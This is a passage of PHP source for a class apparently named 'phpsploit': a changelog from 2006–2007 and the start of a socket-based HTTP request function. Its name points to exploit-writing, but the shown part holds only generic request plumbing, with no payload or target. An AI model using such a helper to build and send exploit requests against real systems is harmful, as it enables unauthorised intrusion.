It can return the content (or the * headers) of the request. Others useful functions can be used for debugging. * A manual is actually in development but to know how to use it, you can * read the comments. * * CHANGELOG: * [2007-01-24] (1.2) * * Bug #2 fixed: Problem concerning the getcookie() function ((|;)) * * New: multipart/form-data enctype is now supported * * [2006-12-31] (1.1) * * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug) * * New: You can now call the getheader() / getcontent() function without parameters * * [2006-12-30] (1.0) * * First version * */ class phpsploit { /** * This function is called by the get()/post() functions. * You don't have to call it, this is the main function. * * @return $server_response */ private function sock() { if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport); else $socket = fsockopen($this->host,$this->port); if(!$socket) die("Error: The host doesn't exist"); if($this->method==="get") $this->packet = "GET ".$this->url."
